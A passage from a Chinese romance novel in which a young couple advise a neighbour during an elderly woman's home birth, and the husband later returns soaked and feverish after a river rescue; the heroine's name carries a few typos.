"可不敢这么说,传出去要说不清楚的。"
宋观书:“传不出去,房问里总共三个人,我跟姜姜不会跟人说,除非你到处跟人说。
“我怎么可能跟别人说这个!"
陈向阳急死了,这两口子还在这里开玩笑。
“那她生孩子关你什么事?"
"不是….”陈向阳试图给他们解释,“咱这邻里邻居,互相帮忙是应该的。"
姜萎被他蠢得想要拍脑壳,“我拜托你动动脑子,不是什么闲事都能管,你是个没结婚的大小伙子,别人家生孩子你瞎凑什么热闹。
"生孩子九死一生,我不帮忙,方大娘出事怎么办?"
“他们家呢,不是只有你一个邻居,你都没有生过孩子,就算去帮忙又能起到什么作用呢。"她用不容置疑的语气指点道,“现在,你立刻回去,去找苗家大娘和苗家几个嫂子,就说孙大娘突然要生,翠儿我你帮忙,你不知道应该怎么办。
他还要再说,姜萎瞪他,“快去!"
这么冷的天,孙大娘坐在三轮车上医院,那还不如在家生。
邻居的大娘婶了都生过不少孩子,也有给自家儿媳妇接生的经验,找她们最合适不过了
把陈向阳赶走之后,姜菱和宋观书没有再操心这件事,
晚上两人都上炕了,又有人敲门
姜菱神秘兮兮问他:“你信不信是宋观书。”
“嗯,估计是生了。”
姜菱迅速钻进被窝里,“我已经躺下了,你去开门。”
不开门,陈向阳恐怕会一直敲门,宋观书下地开门。
姜菱躺在被窝里,听见两人的对话。
陈向阳十分激动,“哥我是来跟你报喜的,方大娘生了个儿子,母子平安。"
“好事。”宋观书的声音平静。
只看见宋观书,没有看见姜萎,他疑惑地问:
“姜萎呢?"
宋观书拦在门口,“她睡下了,我明天早上再转告她这个好消息。
没能当面转达这个好消息,陈向阳有些失望,不过姜菱已经睡着,他总不好再过去打扰。
他依依不舍地离开,“哥,你别忘了跟姜萎说。"
“不会忘记。”
关门后,宋观书回到卧室,就看到被子里面探出个小脑袋,睁着圆溜溜的大眼睛看他。
“宋观书同志,你这个人一点都不真诚,还骗他说我睡着了。”
晚上的卧室是独属于他跟姜萎的私人空间,他不愿意让外人踏足,关系再好的朋友都不行。
“我不真诚,下次真诚的人自己去开门。”
姜菱迅速滑跪,“真是太巧了,我这个人也非常的不真诚。
宋观书点头,“两个不真诚的人。"
“对呀,天生一对嘛。
这张嘴里,似乎总能说出令他欣喜若狂的话。
然而还不等他找到合适的话来回答那句天生一对,姜姜已经想到了别的地方,“哎呀,方大娘生了几个招娣,终于生出了个耀祖,方大娘和孙大爷应该很高兴了。
机会就这么错过了,宋观书恨自己脑袋太笨。
姜萎没有发现他的异样,自顾自说得很开心,“不过,方家的几个招娣应该不会很开心。"
本来家里三个女儿,还能够得到家产。
现在方老太生了个儿子,她铁定不可能把家产给闺女了。
没等到他的回应,姜菱不满地推了他一下,“你说呢。"
宋观书面色如常地回答她,“你说得对。”
好敷衍地回答。
“我明天会跟陈向阳去庆城一趟,晚上会回来,回家时间不确定,你下班回家以后要立刻锁门,我会带钥匙。
姜菱没问他出去做什么,好像是跟做包装的厂子商量包装的事情。
她嗯了一声,“带上介绍信,晚上回不来就在外面住一晚。
第二天,姜菱还记得宋观书的叮嘱,回家后立刻锁门。
她以为宋观书不会至少也得半夜才回家,甚至直接不回来了。
没想到他就在她后面回了家,听见大门口有动静,姜姜探出头,就看见落汤鸡一样的宋观书。
“这是咋的了?”他身上不知道为什么湿透了,数九寒冬,湿衣服穿在身上凉是一方面,主要是会冻住。
外套已经冻出了硬挺的壳子,头发上覆盖着一层薄冰,修长的双手被冻得乌紫。
宋观书的脸色前所未有的臭,当然了谁遇见这种情况,心情都不好。
“河水没有冻住,有小孩掉进冰窟窿里,陈向阳去救,他被小孩抓住脖子,差点淹死。”
他嗯了一声,将已经结冰了的衣服一层层脱下。
“暖壶里有热水,你先洗一洗,把湿衣服换下来,我去烧炕。
宋观书将身上的冰衣服脱下,怕他会发烧,姜菱按照自己的发挥,煮了一碗姜汤
好不好喝不知道,但肯定驱寒,她把一整根姜切了进去。
“快喝。”
宋观书面不改色地将姜汤灌下肚子,可能是穿着冰的衣服在外面待了太久,宋观书很快发起了热
姜菱伸手拭了他额头的温度,很烫。
她还看了一眼特殊部位,“这次是真的发烧,不是中药。"
他心中遗憾地想。
早知道